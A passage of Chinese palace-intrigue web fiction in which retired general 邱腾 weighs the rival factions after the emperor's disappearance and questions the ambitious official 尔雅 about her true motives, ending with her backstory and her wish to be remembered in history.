就算他知道自己不在了、这个国家需要统治者是一件十分正常的事情也一样。 谢吾德也不是会滥杀无辜的人,但很多时候他只需要找到一个合适的借口。 师出有名,至于有的什么名,就别问了。 虽然大家都清楚谢吾德早晚会回来,可是架不住有些人有着特别的想法。 最高的位置他们不敢想,但是当狗也是有区别的。 在谢吾德的统治下,这个世界上也是有各种各样的势力的,琅琊王氏就是其中的代表。 琅琊王氏可以做世家,他们为什么就不能做新的世家呢? 谢吾德也不会介意有人帮他解决问题的。 相比起外面的纷纷扰扰,邱家军陷入到了一种近乎诡异的安静之中。 邱家军如今人数众多,放在以前任何一个朝代、任何一个皇帝手下,他们都会为邱家军如今的人数感到深深的不安。 有一些看热闹不嫌事大的人,一直在期待着邱家军谋反。 这些人就是见不得这个世界和平,巴不得这个世界多流一点血,普通人的尖叫声再大一点。 只可惜邱腾一直没有如了他们的愿。 他一直都是一个老实本分的人,他是真的半点不该动的心思都没有,甚至他还有着一些不太符合普通人对武将的刻板印象。 别人针对他挖的坑,他都可以从容地躲过去。 这样的邱腾一辈子都没有犯过错,未来可能也不会犯错。 他的原则也很简单,那就是拥护皇帝,维持这个天下的稳定。 可是他现在面临着一个奇怪的困境——皇帝呢? 如果谢吾德在这里的话,他是真的敢狠狠说谢吾德一顿的。 邱腾为人正直,谢吾德虽然有点听不进人话,但是对于邱腾这种真的值得尊重的人,还是愿意稍微忍受一下他的冒犯。 这也让邱腾在谢吾德面前的胆子变得相对比较大一些——但是也只是相对了。 就谢吾德的性格,他就算能忍,也只能忍一点点。 邱腾觉得自己的脑壳很疼。 自己看重、取代他成为邱家军新统领的侄子,现在还不在荣国境内。 他之前早就跟人说了,他打算把邱家军给自己的侄子管了。 邱腾做事是不需要其他人怀疑他的真心的,这种事情是有谢吾德的认证的。 只要看谢吾德对谁的态度比较好,那十有八九就可以确定这个人在道德上经得起考验。 之前那个说谢吾德不配做皇帝的老臣,虽然在作臣子的能力上比不上邱腾那么顶尖,但是也算是一个万里挑一的人才。 他又是一个坚定的想要摆脱世家影响的人,在北荣被灭的时候坚定地投身进南荣,他又敢直言进谏,引得谢吾德侧目。 他是寿终正寝的。他死的那一天,谢吾德虽然还是没能够记住他的名字,但是说起那个人,谢吾德依然是记忆犹新。 邱腾就更是如此了。不仅是道德上没有太大的瑕疵,更是在能力上无比突出。 所以各方势力都想要争取一下邱腾这个人。 别人说谁谁谁能力出众,他们还要怀疑这个人是不是和对方有关系,但是谢吾德说谁能力出众、人品优秀,那闭眼信就行,不可能有假的。 谢吾德没有理由弄虚作假,而且他也不喜欢弄虚作假。 谢吾德在一些特别的地方有着相当可靠的口碑。 这是极其难得的口碑。 邱腾迎来今天的第不知道多少个说客了。 今天能来找他的,都是和邱腾有着一些关系的人,就很难拒绝掉。关系一般的人,邱腾见都不见,不是他傲气,而是他真的应付不过来。 现在邱家军虽然已经被邱腾交付给他的侄子,而邱腾也的确是打算退休了。 他老来得子,有了一双龙凤胎的儿女。 他现在就想着把自己的孩子培养成才,以后能够报效国家。只要邱潇不犯大错,他是不会去管邱家军的事情的。 一山不容二虎,一国不容二主,这种事情在军队也是适用的,不然到时候邱腾和邱潇在某些事情上有了不同的见解,那士兵听谁的? 在军队中最好还是只有一个声音。 既然要退,那就退得干干净净。 但是任谁都能够猜得出来,邱腾在邱家军仍然有很大的威望。 邱潇虽然只是邱腾的侄子,但是邱腾对邱潇是待之如亲子。就算他有了亲生的儿女,这一点也从未改过。 邱潇和邱腾的性格也是比较像的,他一直都很尊重自己的叔父。 如果邱腾开口的话,那绝对会影响到邱家军的选择。 可是现在邱腾却有点希望自己的侄子能够稍微叛逆一点,这样一来,他的话就不会影响到邱潇。 这群人也不会一遍遍地找邱腾,想要通过他来说服邱潇。 过来试图说服邱潇站在他们一面的人对邱腾说道:“我向来尊重邱将军的气节。可是现如今,圣人出巡,有小人想要伺机盛世,使国家陷入危难之中,难道邱将军就要高踞干岸之上,对如今的局势一言不发吗?” 这群人面对谢吾德的消失,用的是“圣人出巡”的非常委婉的措辞,就好像谢吾德只是出了个门一样。 邱腾喝了一口茶水。 他表现得很是镇静。 不是他对这种话无动于衷,而是这种话这段时间他已经听过无数次了。 大家都知道他看重什么,他们都会拿这种家国大义来说服他。 可惜邱腾是一个很能够沉得住气的人。 以前有很多人拿各种话来刺激他,想要让他行为失常,犯下他平时不会犯的错误。可惜邱腾一直都很冷静,从来没有给人用这点抨击他的机会。 邱腾也很清楚,这些人并不是完全真心的,他们是想着争权夺利,只不过是利用着家国天下的借口。 邱腾不会被几句话给说动,他内心自有一杆秤,去衡量别人话语中的真实。 再说了,当将军的,别人讲几句话,他就要信以为真吗? 他就算退休了,他也是很清楚自己的价值的。 所以他也会关注朝堂上的事情。 这些急匆匆跳出来的人,十有八九都是以前就有不少小心思的家伙,还有一些确实都是忧国忧民、想要来未雨绸缪的。 “好了,你说的我会好好去思考的。”邱腾说着自己用标准的话术,已经暗示着这个人应该离开了。 来找邱腾的人也不恼。 想要说动小人,只要给他们展示足够的利益就行,但是想要说动邱腾这样的君子,那就得下大功夫不可。 把人清走之后,邱腾迎来了自己另外一位客人。 只不过这位客人的待遇和其他人都完全不一样。这个人不是拿起茶盏喝茶,而是拿着上一位客人喝剩的茶壶,往自己的嘴里直接灌。 这个样子实在是豪迈过头了。 邱腾看得眼皮直跳:“你能不能有点正形?” 来的人正是谢玖,是邱腾这么多年来最为倚重的人之一。 在邱腾选择卸甲归田之后,他就在邱腾附近买了一个宅子,随时过来串门。 “这里的都是自己人,邱将军就不要见外了。”谢玖毫不在意地对邱腾说道。 “去去去,我已经不是什么将军了。”邱腾没好气地说道。 他把手里的茶盏往边上一放,看着又探头探脑看过来的那一双儿女,让家里人把他们赶走,他这才重新抬起头看向谢玖他问道:“好了,你来说说,你这次是给谁来当说客的呢?” 邱腾和谢玖的眼睛对视。 认识了五十年了,甚至这都是绝大多数人的一辈子了,他能不熟悉谢玖? 谢玖无奈地笑了一下,然后说道:“还真被您给看出来了。尔雅找过您吗?” 邱腾叹了一口气,然后说道:“大概已经找过潇儿了吧?邱潇可是现在的掌权人,找他才是理所应当的。” 邱腾也不觉得尔雅这么做有什么错。 他并不反感尔雅这种做法,觉得这是忽视了他。 邱潇既然现在才是将军,那有什么大事自然更应该去找邱潇去商议,而不是从他这里试图找捷径。 邱腾也一直在避免自己对邱家军施加太多的影响。年轻人大了,总要找到自己的路。 再说了,邱腾已经好几年不在军中了,他觉得自己对现在年轻人的想法已经有点脱节了。军队中都是十七八岁、正值年轻气盛的小伙,他这把老骨头已经没资格代表整个邱家军去做事了。 邱潇才是现在最适合做出决定的人。 邱腾只是告诉邱潇,要谨慎地做出选择。 以现在的情况来看,完全置身事外是不可能的,但是一定要谋定而后动,而不是匆匆地做出决定,把自己和自己手下的人都带进阴沟里。 而且邱腾心里也清楚,邱潇十有八九真的和尔雅有一些关系,说不定他们的相处还十分不错。邱腾能做的只是给邱潇踩一下刹车,让邱潇多思考一阵子,而不是匆匆地做出决定。以邱家军的实力,他们也没必要匆忙地做出决定。 邱潇和尔雅关系好是意料之中的事情。邱腾知道邱潇其实是有那么一点崇拜谢吾德的,他们这些军阵中走出来的人,多少都会有一点唯实力论。谢吾德的残暴又一向是针对外人的,邱潇实在没有太多仇视谢吾德的理由。 谢吾德对尔雅提出的那些理论兴致勃勃,邱潇难免就会和他们走得比较近,更加容易受到他们的影响。 对于尔雅提出的那些东西究竟对不对,邱腾也不好说什么。 他是皇帝的忠实拥趸,却不是这种理论的忠实拥趸。 可是他从小到大想的就是效忠皇帝、进而报国,这也是过去这么多年他一直接受到的教育。 那么要问,如果这个世界上没有皇帝的话,那他应该做什么呢? 可惜他过去接受的教育没有教给他如何面对这种情况。 皇帝的存在就好像一种天经地义的东西一样。 他一直都在,即使有短暂的空缺,那也会尽快地补上。 有许多人想要竞争这个位置。 从来没有人考虑过,如果这个位置一直空缺的话会是怎么样的。 琅琊王氏提出的自由平等的学说倒是能够给出一个答案。 可是这个答案却是邱腾不愿意接受的。 不是他贪恋身为权贵的权势和财富——他从来都不是在意这些东西的人。 他在意的是:这样做真的就没问题吗?一切真的能如同想象中的那么美好吗?这是一条从未有人走过的路。 琅琊王氏能把东西吹得天花乱坠,就好像这是一条正常人都该走的路。 可是邱腾看着那各个学派提出的学说,五花八门的,各有各的道理,而且好像不管是谁上位,都能给这个世界带来繁荣一样。 邱腾对这种事情持怀疑态度。 琅琊王氏提出这个学说的理由本身也不纯粹。他们是想要掌握权柄,才逢迎谢吾德提出了这样的说法。 而且说实话,他也不觉得尔雅是什么好人。 只不过他不是背后说人是非的人,所以他就把这个想法藏在了自己的心中。 “可是这么下去也不是一回事。”谢玖说道,“陛下也不知道什么时候回来,估计到时候真的像那些人说的——这个国家要迎来没有皇帝的时代了。” 邱腾长长地叹了一口气:“至少尔雅在这些人之中,看上去是最可靠的那个。不能听他们怎么说,要看他们怎么做。” 半晌,邱腾抬起头看着谢玖,说道:“跟尔雅说,如果她想要说服我的话,那就亲自过来。让她跟我说说她想要干什么。” 谢玖跟他说的话,其实和别人说的也差不多,只不过邱腾对谢玖有着更多的信任,那就不妨说说他的真心话了。 邱腾不愿意参与到这种事情中,但是这并不代表他就不擅长揣测这些事情。他看人的眼光还是相当准的。 而且在场之中恐怕也只有他有资格直接向尔雅询问她的目的。 他也得倚老卖老,当一回老资历了。 尔雅在想什么,恐怕很多人都想不明白。 邱腾也听一些人说过,尔雅恐怕也不是一个正常人——一个正常人怎么会离谢吾德那么近呢? 这话对于邱腾这个忠臣来说有一点刺耳,但是邱腾心里也是隐隐地相信这种判断的。 能和谢吾德玩在一起的是什么正常人。 谢玖一口答应了下来,说到:“没问题,到时候我就问问尔雅,要是合适的话就让她来见您。” 他现在算是尔雅的说客,但是他还是更加支持邱腾的想法。 “如果没问题的话,那还是由我去找她吧,反正我现在无所事事,出去溜达一圈,活动活动筋骨,躲一躲这群上门来的家伙,顺便看看这天下变成了什么样子。”邱腾嘱咐了谢玖一句,“不过跟尔雅说一下,我想要听到的是她真实的想法,而不是一个敷衍的回答。如果她没有准备好真诚地面对我的话,我觉得一切免谈。我也会把我的判断告诉我的侄子。” 尔雅和王旭都是世家出身,王旭对他们自己提出的学说的态度,都是仅仅利用就可以了。 相比起其他人,尔雅和王旭之间的相似度更高。 他们都是世家,都是家中的青年才俊,其实她和王旭才更能聊得来。 别说尔雅心生怜悯,她在自己全家被满门抄斩的时候都没有太大的反应,仅仅是救了一个对她自己有用的妹妹,在她有余力的情况下完全没尝试都救下来几个人。 这天下苍生恐怕更不会触动尔雅的心了。 所以邱腾是真的想要从尔雅这里得到一个能够说服他的答案。 邱腾不会直接干预邱潇的决定,不过他会告诉邱潇自己的看法。 这不是控制,只是作为长辈一个中肯的评价,让邱潇自己好好想想。 未来的合作者是一个毫无真诚的人——这种事情是任何一个人都不想接受的。 谢玖无比认真地点头:“当然,当然,这话我会传达到的。” 第118章 尔雅在邱腾来的那一天,推掉了所有的工作,认认真真地迎接邱腾的到来。 邱腾不是一个非常讲究的人。 他现在虽然已经身居高位,但是依旧保持着年轻时的习惯——那就是直接干脆。 他严于律己,却从来不以此为标准要求别人。 他是一个实干派,不讲究这些虚的。 能把事情做好,对他来说比什么都重要。 如果只是徒有其表,反而会让他更加厌恶。 尔雅是一个十分不正常的世家出身的女人,对很多规矩都嗤之以鼻,但是在有些方面,她表现得还是很传统的。 比如在邱腾来的时候,尔雅已经备好了一桌饭食,准备和他边吃边谈了。 尔雅对于这一套虽然说不上喜欢,但是利用起来也是炉火纯青的,毕竟她当初就是冲着当家夫人去培养的,做得炉火纯青。她自己不喜欢这一套,但是并不代表别人会不喜欢。 林耀祖本来还想建议尔雅再来点酒,但是被尔雅拒绝了。 邱腾可不是一般的将军。 一般的将军因为战场的压力会饮酒作乐,或者借酒消愁。 邱腾在非必要的情况下几乎不碰酒。 现在也不是庆功,而是在商量正事。 他本来就对尔雅有着颇多的顾虑,那尔雅也没必要再做这种会让他更加怀疑的事情。 “邱将军为什么会怀疑你呢?”林耀祖有点想不明白。 别的都可以伪装,但是唯独功劳是没有办法伪装的。 尔雅的政绩摆在那里,别人的认可也颇高,在绝大多数情况下,这都是不可以伪装的。 即使是女性,她也在众多百姓的怀疑中摆平了他们的质疑,拿到了诸如万民伞之类证明她本身能力和善心的东西。 尔雅是一个非常特殊的角色,别管她之前是不是临川陈氏的人,在绝大多数人眼中她是一个女人,还是一个曾经的宫女。 一个宫女能有多少见识? 众人的偏见是无声的。 如果摆脱这些身份的束缚,她能够走得更远,说不定她还能努努力把余文彦的丞相之位拿到手。 林耀祖毫不怀疑,尔雅是有资格做丞相的。 尔雅笑眯眯地看着林耀祖,反问道:“你不觉得也有可能是你太过于相信我了吗?” 林耀祖抬起手,摸着自己的后脑勺说道:“我不怀疑你,是因为你做的所有事情都近乎无可挑剔啊。我用我自己的眼睛判断,你是一个值得信赖的人。一个冷漠的人、一个不值得信任的人,早就会在过去这么多年的相处中,被我发现马脚了。一个人总不可能装一辈子。如果能装一辈子的话,又怎么确定这是伪装还是本性呢?就算真的有这样的圣人,装一辈子,就算是假的也会成为真的。” 真真假假谁说得清呢?有些被其他人称为是好人的人,做这些事情一开始的目的也没有那么单纯。既然如此,为什么要把事情分得这么清楚?君子论迹不论心。 “是,你说的也有道理。”尔雅不肯定,也不否定。 “那你要过来旁听我们说话吗?” 林耀祖的动作微微一顿,她看向了尔雅。 尔雅冲着她笑了笑。 “算了吧。”林耀祖拒绝了。 尔雅托腮看着她,问道:“为什么呢?” “你毫无疑问是我最信任的朋友。”林耀祖说道,“不过朋友和朋友之间,有的时候还是需要保持一定距离。我觉得我们现在这个距离很好。” 尔雅是林耀祖的朋友,也是她的同事。甚至在过去很长一段时间里,尔雅还掌握着林耀祖身为穿越者的巨大把柄,可以说在一定程度上还捏着她的生命。虽然谢吾德能够看到弹幕,在林耀祖出现在他面前的时候就能够分辨出她穿越者的身份。不过尔雅如果真的是诚心实意地想要害她,她早就被抓走了。尔雅可是临川陈氏的人。当时,她如果手握林耀祖这么一个把柄和家族进行交换的话,临川陈氏还未必会走到之后的那条路上。 可是她没有。 光是凭这一点就足够了。林耀祖相信她了。 可是她们认识了二十多年,林耀祖也逐渐意识到了一件事情:尔雅是一个可以交朋友,但是最好不要交心的人。尔雅值得信任,可以把一切的秘密都交给她。但是交心会涉及到一个人脑海中的真实想法。尔雅的想法可能并不能经得起考验。 在林耀祖的脑海里面,她已经隐隐地有了这方面的知觉。 “你自己去就可以了。我觉得我对你的理解到这里就行了,再多可能就会干扰我的判断了。” “你确定不是害怕了?”尔雅把自己鬓边的一缕头发别到耳后。 “我还是更加相信我的判断。我相信这个世界上很多事情都是过犹不及的,知道得太多也没什么用,纯粹只能给我带来纯粹的负担。”林耀祖这么说道。 尔雅笑了,她说:“那很遗憾,你失去了一个了解我的机会。” 林耀祖不以为意。 人是立体复杂的,这不是一个简单的标签可以概括的。 她知道尔雅在什么时候会和她站在一面就可以了,没必要把一个人完完全全地认清楚。人的心里总是会有一些龌龊的想法,这并不奇怪。 就像是认人的时候,只需要记住对方的脸和身材这样的信息就够了,没必要知道对方屁股上有几颗痣。 那可实在是太变态了. “变态”的邱腾不知道林耀祖内心的真实想法。不过他就算真的知道了,大概也会觉得无所谓。他和林耀祖不一样,他是一个相当谨慎而保守的人。 他和尔雅之后的合作将会决定这个天下的未来,在这种情况下,不管怎么谨慎都是有必要的。 他可不想自己辜负了谢吾德对他的信任和托付。 虽然谢吾德对他只有信任,没有托付,而且谢吾德肯定也不会在意这些事情,但是邱腾是一个对自己有着很高要求的人。他可不会满足仅仅做自己的份内之事,只要不犯错误就行。他一定要为皇帝把方方面面的事情都照顾到位。从某种角度上来讲,这也是颇为令人讨厌的卷王作态。 邱腾吐出一口气,他看向站在他面前的尔雅,说道:“其实你没必要准备这么多,没关系的。” “我们今天可能会谈很长时间,边吃边谈。”尔雅说道。 邱腾没有再拒绝。很多时候这完全取决于尔雅的答案。看来尔雅是很有信心能够把他一直留下来的。 然后他说道:“其实我一直都对你很好奇。” “好奇什么呢?” “陛下是一个十分不容易亲近的人。所以我很想知道,你是哪里得了他的青眼?”邱腾其实也是借这个机会满足一下自己的好奇心。他很想知道尔雅是给谢吾德灌了什么迷魂汤。 谢吾德并不乐于与人亲近。如果那些真正的贤臣有尔雅这样的能力的话,谢吾德大概就不会跑这么偏。 邱腾想了想就否定了自己这个想法,果然还是不可能。 谢吾德本身就是一个歪到没边的家伙,他一般也都瞧不上贤臣的观点,贤臣也不可能像尔雅那样迎合谢吾德。 只有像尔雅这样有着足够技巧和手腕的人才能够偶尔控制住这匹疯马。 “大概是足够叛逆吧。”尔雅直白地说道,“不像其他人那样死气沉沉的,让人一眼能够看到头。” 邱腾想,这也的确是谢吾德的性格。 “我之前一直在边关,和你实际的接触并不多。今天也总算是接触到你了。”邱腾说道,“你刚刚说的这一番话,可和我想象中的有点不太一样。” “那邱将军是如何看待我的呢?”尔雅好脾气地问道。 邱腾对于这个问题,给出了不假思索的答案:“现在说这些还太早了。” 就算邱腾现在还没有和尔雅接触太多,就算是真的一眼看穿了尔雅的性格,他也不会说什么的。 “是,毕竟邱将军您和我的接触并不多,一时难以下定论也实属正常。”尔雅说道。她很贴心,还给邱腾介绍了一下桌子上的一道菜,“来,尝尝这个,这鸡做得汁水饱满,风味十足。不用担心,这是我用自己的俸禄赚来的钱。” 尔雅看着邱腾,也好像知道他在担心什么,多说了一句证明自己的清白。尔雅对钱没有什么兴趣,这不是谎言。不过要说尔雅绝对清廉的话,好像也不至于。毕竟有的时候,清廉与否只是一件很微妙的事情。尔雅托人办事,就算是合情合理,如果收了礼物的话,那其实也算是收受贿赂了。不过没人会抓得这么紧。有的时候如果不收,其他人还要多想,觉得是不是瞧不上他,或者不打算和他发展关系,之后很多事情都会受到阻碍。 邱腾刚准备去点头,他就听到尔雅补充了一句:“那既然邱将军和我接触不多,难以判断这些事情,那么邱将军是如何看待陛下的呢?” 这一句话让邱腾险些把嘴巴里的茶水喷出来。茶水没有从嘴巴里出来,但是从他的鼻孔里出来了,显得十分狼狈。 不是,他有什么资格来评论谢吾德?谢吾德是什么人,能够被他评论吗? 尔雅看上去十分殷勤地把纸递给了邱腾,脸上却没有对这句语出惊人的话语表现出半分的抱歉。 邱腾心想:难怪,难怪,难怪陛下会看好这个人。这个人也真像他说的那样,是能够给这个世界带来意外的人。 尔雅刚刚说的那句话,让邱腾觉得自己像是被拧了脖子一样难受。 他也只是颤抖了一瞬。这种慌乱并没有在他的身上保持太久。 尔雅说的话的确足够叛逆。 作为皇帝的亲信,她却说出了这样的话。 这已经不是普通的乱臣贼子了,必须重拳出击。 谢吾德不在意是一回事,但是邱腾很在意。 他干不出举兵清君侧的事情,但是在听到尔雅说这些话的时候,他有了清君侧的心。 这家伙都在说什么混蛋话? 陛下您糊涂啊,怎么就容忍了这样的乱臣贼子出现在您的身边? 也就是邱腾是一个很传统的人,他认为很多所谓清君侧的人,都是在满足自己的私欲。 他就算抱着一颗坚定的心,也有可能被人利用,所以坚决不会做出清君侧的这种事情。这是为他自己,也是为这个世界着想。当然有一部分也是因为邱腾的性格如此。他是各种意义上的忠臣。 既然没有办法清君侧,那就要用其他的方式来弥补。所以在某一瞬间,邱腾产生了打谢吾德的想法。之所以要清君侧,还不是因为皇帝的脑子不清楚招来了这样的家伙。能让邱腾这样的忠臣良臣产生这种冲动,谢吾德堪称罪孽深重。 邱腾不知道应该怎么问。他用一种带着几分危险的眼神看着尔雅:“您这话是什么意思?” 忠臣可听不得这种话。 但是尔雅悠哉悠哉的,好像因为谢吾德不在,她就可以肆无忌惮地暴露自己的本性:“现在陛下不在,把这个天下委托给我们。如果单纯的以臣子的身份来做这些事情的话,那是会出大事的。现在可没有一个人能够做出陛下那般的主。” 谢吾德是以自己的力量来压制着全天下的人。现在整个世界的工业力量加起来都不如谢吾德碾的一根小指。 尔雅偏过头,用一种探究的眼神看着邱腾,想要等邱腾的回答。 邱腾叹了一口气,他知道尔雅在等着他回答问题,可是他能有什么办法呢? “将军不如说说吧,陛下就算知道了大概也不会介意。而且我想陛下应该也会很好奇。”尔雅把问题丢还给了他,“当然,今天如果非要知道我是怎么看陛下的,也可以说。” 邱腾思考了很久,还是说道:“陛下是一个十分活泼强大的人。” 活泼强大。 这是一个非常有意思的评价,没有对谢吾德做出任何正面的肯定,也没有对谢吾德做出任何负面的评价,但是这两个词又非常精准地概括了邱腾的感受。 都说小孩抱金于市是一件十分危险的事情,但是小孩抱加特林于世更是一件非常危险的事。 当这个孩子是一个熊孩子,危险还会翻倍。 谢吾德就是这个熊孩子。 只是和小孩子有所不同的是,谢吾德大概是清楚自己的行为会带来什么后果,不过他不去思考这些所谓的后果是什么。他就像是他所表现出来的那样,不管不顾。 尔雅也笑道:“我也是这么看陛下的,不过可能还稍稍有所不同。” 邱腾抬眼看向尔雅:“愿闻其详。” “他没有心。”尔雅十分诚恳地说道。她用自己的表情向邱腾展示,向邱腾证明自己没有任何阴阳怪气。她说的是自己真正的想法。她可不是在批判,她是在进行一个公正客观的描述。 邱腾的脸色稍微有点不太好看,但是他却也没能说出反驳的话。 确实是。 他们之前都见过谢吾德的太子,以及不太正常的谢吾德。 对方面无表情,眼睛中好像没有半点的情绪,他仿佛才是那个没有心的家伙。而谢吾德活泼开朗,拥有着一切人所拥有的情绪。 但是如果要他说的话,邱腾觉得谢吾德才是那个更冰冷的家伙,稍微一靠近,就会被冻得浑身发寒。 邱腾长长地叹了一口气。他稳住了心神,不太想要继续这个话题。 他是皇帝的忠臣,甚至可以说是“皇帝”这个概念的忠实信徒。 即使在理性上他明白皇帝的种种问题,可是有些事情已经深入到了他的骨髓,他也已经没办法改变了。往下想只会让他感觉到仿佛浑身自燃一般的痛苦。 邱腾捏了一下鼻梁。 满桌的饭菜都难以下咽。 他的大脑在思考着尔雅说的每一句话,也在思考自己想到的一件件事。重重心事压在心头,让他完全没有动筷的想法,只是偶尔在尔雅夹过来几道菜的时候,意思意思吃了一点。他甚至都没有自己吃东西的印象。 半晌,邱腾才重新抬起头。他以一种压抑的口吻问道:“那你呢?你是怎么看待你自己的呢?” 邱腾本来想着铺垫一下,巧妙一点地从尔雅口中套出她性格的证明,但是他憋了一会儿,觉得思考谢吾德的性格更让他痛苦,于是他就直接转移了话题。这个话题没法继续了,再继续下去,总感觉就会变得非常危险。尔雅不太可能是想要害他,但是防人之心不可无。邱腾的谨慎,以及邱腾的忠诚,已经不足以让他继续这个话题了。 “我知道你们想要做什么。如果你想要说服我的话,总得拿出让我相信你的证据。” “尔雅和其他人有什么区别呢?” 他们都是想要在谢吾德不在的时候做一个摄政王。 邱腾不喜欢参与到这种事情中。 对于一个将军来说,做这种事情实在是太危险了,一不小心就会刺激到皇帝敏感的神经。兵权,可是重中之重。 可是邱腾又非常清楚,以邱家军现在的地位,是不可能置身事外的。 就算现在不选择,那么之后如果真的乱起来的话,那他们也要做出倾向谁的判断。 他们需要提前做出准备。 尔雅摸着下巴。她问:“邱将军说我哪里做得不好,让你产生了这样的怀疑吗?” 邱腾沉默了一会儿,也许是之前尔雅的一些对话诱导他说出了一些对于谢吾德的看法,这对于他来说是有点突破下限了,所以邱腾在面对尔雅这个问题的时候也变得不那么委婉了。 他对尔雅说道:“我只是不相信世家出身的你能有这样的觉悟。” 邱腾在朝中待的时间不多,但是知道重要的事情并不需要接触太多。 有的人天天和老板碰面,但是老板也不一定会把公司消息告诉他。 邱腾这样的就纯属是虽然整天出差在外,但是却是显而易见的老板心腹。 其他人也不妨和邱腾说一下他们知道的关于尔雅的事情。 临川陈氏是什么样的家族完全不用多说。 世间就没几个世家是真的纯洁无瑕的,尤其是这种数一数二的大世家。 不可否认的是,他们家中的确有一些值得敬佩的人,但是林子大了什么鸟都有,而且为了变成数一数二的大家族,也不免会做一些肮脏的事情。 在这样的家里长大,尔雅怎么可能是纯真的?会为百姓抱有一腔赤诚?如果说她想要不择一切向上爬的话,那才符合邱腾对世家的印象。 她身上绝对有问题。 而且邱腾还有一点说不清道不明的直觉,这种直觉曾经在战场上帮过邱腾很多次。 邱腾也听过尔雅之前欺骗林耀祖的事情。 这种人接触起来着实是不让人放心。 尔雅把筷子放了下来。她的眼睛平视,似乎是在看着邱腾的眼睛,可是邱腾觉得她其实并没有在看他。更像是透过他在发呆。 “这个问题我之前也和我的朋友聊过。” 这个朋友是林耀祖吗?邱腾想。 尔雅继续说道,“她跟我说,她没有必要那么了解我,她只要知道我现在在做什么、之后会做什么就行了。” “很可惜,我和她是有着不同的观点。” 邱腾说道:“那是自然。” “那是自然。”尔雅点了点头,“我和邱将军您的想法是差不多的。不过像我这种狡诈的人,其实还的确更喜欢那些比较真诚的家伙。” 她说的就是林耀祖。 尔雅是真的对她有好感,而在之前大致猜出真相之后,她其实也没怎么瞒着林耀祖了。 邱腾微微一愣,他看着尔雅,眼睛中闪出一丝意外。 他没想到尔雅上来就能够说出这些。 还真像尔雅说的那样,谢吾德对他另眼相待,也是因为尔雅是一个十分让人意外的家伙。 尔雅对邱腾说道:“邱将军想要知道我是什么样的人,想要知道我掌权之后会不会做出荼毒天下的事情。这都是人之常情。这个世界上有太多人,在一开始满心赤诚,但是到了最后,却被权欲迷昏了眼。他们不再拥有一开始的那种单纯,反而沉迷于美色和金钱之中,享受着高高在上的待遇。他们想要的是无人在他们之上的生活。” 邱腾皱眉,其实他也正是担心这些,才希望能够和尔雅好好谈谈。 尔雅现在说的话在他听来有点像是在诡辩。 因为以后会变成这个样子,难道现在就不应该分辨这个人的好坏了吗? 邱腾可不这么认为。 然后尔雅说道:“可是我不一样。” 她的眼睛看向了放在邱腾身后的一本书上,邱腾看向那本书,那是一本史书。 “我所求的很简单,那就是青史留名。即使是在几百年、几千年之后,还有人记得我。邱将军,您是一个实诚人,所以我也不在您的面前撒谎。” 尔雅定定地看着邱腾,她说道:“其实我是无所谓琅琊王氏提出的学说的。不管什么样的学说,对于我来说都不重要。之后这个学说会变得重要,这对我来说才是最重要的。邱将军,我这个人其实是很单纯的。我的死要么轻于鸿毛,要么重于泰山。在轻于鸿毛的时候,我敢于离开临川陈氏,要去找到能让我死得重于泰山的事情,而现在,我只想死得重于泰山。” 这种想法从很久之前就有了。 大概是从什么时候开始的呢? 大概是从尔雅的母亲的教导开始的吧。 她的母亲是一个大家闺秀,而且是一个颇有才名的大家闺秀,但是再出嫁之后,名声就逐渐衰落下去,有新的才女代替她的母亲变得出名。 ……这可真是让人不甘心。 尔雅和她的母亲其实都是这么想的。 但是她的母亲什么都没有做,她只会叹息抱怨,说一些女人出嫁之后才名就没有什么用的话,才名只不过是她的嫁妆,还是一个有时限的嫁妆。 尔雅很烦。 为什么要叹气呢?为什么要抱怨呢?难道她就没办法做出任何一点改变吗?她可能很小,不懂得一些道理,但是她的母亲可以比她年长,能够想出更加好的办法。不要说年纪不大就不明白这其中的困难,年龄和经验应该就是想这些事情的时候用的。而且就算是真的困难到没有办法改变的话,那就要认清这是现实。这是她无法改变的事情,要放平心态,整天唉声叹气的算是什么? 尔雅压力很大,而伴随着这份压力滋生的是她的不甘。 她的母亲是给了她血肉的人。 她的母亲是这个样子的,那么她之后不是也会变成这个样子? 尔雅只要一想到自己未来会变成自己母亲那样的人,她就觉得十分恶心。 可能她的确是一个不孝的人,明明是生她养她的人,可她感觉到的的确是厌烦。 厌烦她的懦弱,厌烦她的无力,也很厌烦她甚至没有挣扎一下就做好死在院子里的准备,更加厌烦她只会对女儿抱怨这些话的无能。 她不想像自己的母亲一样,明明一身才华,却被困在后院里,偶尔提出一个或者几个建议,还要被其他人看不起,又或者是隔了几个月之后,被那些人看作是自己的想法。 虽然那些人是她的父亲、伯父、叔叔,甚至是祖父,但是尔雅只觉得他们恶心。 尔雅的很多知识是由她的母亲教导的,但是她的母亲在死后又有几个人能够记住她呢? 尔雅曾经希望母亲能够和她一起离开,但是她的母亲认为老老实实地在临川陈氏待着,到时候可以埋进祖坟里享受香火供奉,这倒也算是被人记住了。 可是尔雅觉得这根本不够。 她想要的可不是这一点。这天下有数不清的人。她想要这数不清的人都认识她。就算想让所有人都认识有点太过于异想天开了,那总要在史书上留下浓墨重彩的一笔。 她的母亲曾经给她讲过许多历史人物,羡慕他们能够在史书上留名,但是为什么到了自己身上,她就会满足于一个仅仅被自己家后人记载的结局呢? 尔雅和自己的母亲不一样。 她更加贪婪,更加野性,更加富有行动力。 就算临川陈氏教导她的方式就像她的母亲的家族教导她的方式一样,在她的脖子上拴上绳子,拴在一个木桩上,一个人从小无法挣脱木桩,就算长大了能够挣脱木桩,但是潜意识里也会觉得自己挣脱不了。 尔雅从小到大一直都在研究着拔出这个木桩所需要的力量,然后小心翼翼地把木桩重新插回去。 直到其他人放松警惕,然后有一天能够真正摆脱一切的束缚,逃出临川陈氏。 事实证明,她成功了。 这一切并没有那么难,只要抱着豁出去的心,不畏惧生死,那没有什么是做不到的。 ……不过对于所有人来说,最难的就是能够豁出去这一点。 尔雅是一个足够疯狂的人。 这个世界上很多人其实都是没办法和她共情的,而她自己有的时候也需要努力的思考才能去共情别人。 她不想落得一个籍籍无名、最后被人遗忘的下场。 所以她帮助三皇子。 一开始她是想要通过让三皇子上位,自己成为皇后,尝试一下如同萧国那个太后垂帘听政,执掌大权数十年。 可是意外发生了。 尔雅觉得这个意外也不错。 其实她更喜欢现在的发展。 谢吾德是一个特别的皇帝,特别的皇帝才能够给她特别的机会。 早知道她一开始就投谢吾德了。 从某种角度上来说,尔雅对于谢吾德也是颇为忠心的。 没有谢吾德,就没有现在的她。 谢吾德是她的恩人。 不过这并不妨碍尔雅继续她之前的计划。 这也是谢吾德想要的。 不管是为了她自己还是为了谢吾德,她都打算全力以赴。 